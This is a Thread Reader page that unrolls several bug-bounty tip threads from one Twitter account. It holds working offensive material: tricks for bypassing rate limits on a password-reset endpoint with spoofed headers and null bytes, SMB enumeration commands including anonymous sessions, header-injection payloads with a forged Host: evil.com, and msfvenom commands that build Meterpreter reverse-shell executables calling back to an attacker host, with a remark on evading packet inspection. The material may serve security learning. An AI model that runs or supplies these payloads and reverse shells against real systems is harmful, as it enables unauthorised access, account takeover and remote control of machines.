Tweet

This Thread may be Removed Anytime!

Twitter may remove this content at anytime! Save it as PDF for later use!

More from @Aacle_

Abhishek Meena

@Aacle_

Nov 5

20 Most used tools in web-application hacking
#bugbounty #Infosec #hacking

1. Burp Suite - Framework.
2. ZAP Proxy - Framework.
3. Dirsearch - HTTP bruteforcing.
4. Nmap - Port scanning.
5. Sublist3r - Subdomain discovery.

More 🧵( 1/n ) :👇

6. Amass - Subdomain discovery.
7. SQLmap - SQLi exploitation.
8. Metasploit - Framework.
9. WPscan - WordPress exploitation.
10. Nikto - Webserver scanning.
11. HTTPX - HTTP probing.
12. Nuclei - YAML based template scanning.
13. FFUF - HTTP probing.

#bugbounty #infosec

14. Subfinder - Subdomain discovery.
15. Masscan - Mass IP and port scanner.
16. Lazy Recon - Subdomain discovery.
17. XSS Hunter - Blind XSS discovery.
17. LinkFinder - Endpoint discovery through JS files.
20. JS-Scan - Endpoint discovery through JS files.

#bugbounty #infosec

Read 4 tweets

Abhishek Meena

@Aacle_

Nov 4

@EdOverflow

6 Bugbounty Tips from @EdOverflow
#infosec #bugbountytip

Thread 🧵(1/n) :👇

Tip #1 #bugbounty #infosec

Use GIT as a recon tool. Find the target's GIT repositories, clone them, and then check the logs for information on the team not necessarily in the source code. Say the target is Reddit and I want to see which developers work on certain projects.

Tip #2
Look for GitLab instances on targets or belonging to the target. When you stumble across the GitLab login panel, navigate to /explore. Misconfigured instances do not require authentication to view the internal projects.

Read 10 tweets

Abhishek Meena

@Aacle_

Nov 3

Bypass 429 🏹(Too Many Requests)

#bugbounty #infosec
Look🧵(1/n) :👇

➡Try add some custom header #bugbounty #infosec

▪X-Forwarded-For : 127.0.0.1
▪X-Forwarded-Host : 127.0.0.1
▪X-Client-IP : 127.0.0.1
▪X-Remote-IP : 127.0.0.1
▪X-Remote-Addr : 127.0.0.1
▪X-Host : 127.0.0.1

➡Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
. . . #bugbounty #infosec #bypass

POST /ForgotPass.php HTTP/1.1
Host: target.com

email=victim@gmail.com%00

Read 7 tweets

Abhishek Meena

@Aacle_

Nov 2

🌱🔥🌵 SMB Enumeration 🌵🔥🌱
#SMB #bugbounty #infosec

Check out 🧵(1/n) :👇

🏹SMB OS Discovery #bugbounty
▪nmap $ip --script smb-os-discovery.nse

🏹Nmap port scan #infosec
▪nmap -v -p 139,445 -oG smb.txt $ip-254

🏹Netbios Information Scanning #SMB
▪nbtscan -r $ip/24

🏹Nmap find exposed Netbios servers
▪nmap -sU --script nbstat.nse -p 137 $ip

🏹SMB Enumeration Tools
#SMB #bugbounty #infosec

▪nmblookup -A $ip
▪smbclient //MOUNT/share -I $ip -N
▪rpcclient -U "" $ip
▪enum4linux $ip
▪enum4linux -a $ip

Read 9 tweets

Abhishek Meena

@Aacle_

Nov 2

Header Injection 🌵🌱 #bugbounty
#infosec #bugbountytips

🧵(1/n) :👇🏻

🏹 Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console

Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:

X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
X-Wap-Profile:

🏹Try to repeat same Host header 2 times
Host: legit.com
Stuff: stuff
Host: evil.com

#bugbounty #infosec

Read 12 tweets

Abhishek Meena

@Aacle_

Nov 1

Reverse-shells🔥🌵 #bugbounty #infosec

This is s great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet: #bugbountytips

See🧵(1/n) :👇🏻

🏹For Windows : #bugbounty #infosec

➡Meterpreter #Reverse_shells

▪msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -o shell_reverse.exe

▪use exploit/multi/handler &
set payload windows/meterpreter/reverse_tcp

➡Meterpreter HTTPS #bugbounty #infosec

It is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.

▪msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=443 -f exe -o met_https_reverse.exe

Read 16 tweets

Share this page!

Abhishek Meena

People who liked this thread also liked...

Try unrolling a thread yourself!

More from @Aacle_

Abhishek Meena

Abhishek Meena

Abhishek Meena

Abhishek Meena

Abhishek Meena

Abhishek Meena

Did Thread Reader help you today?

Don't want to be a Premium member but still want to support us?

Send Email!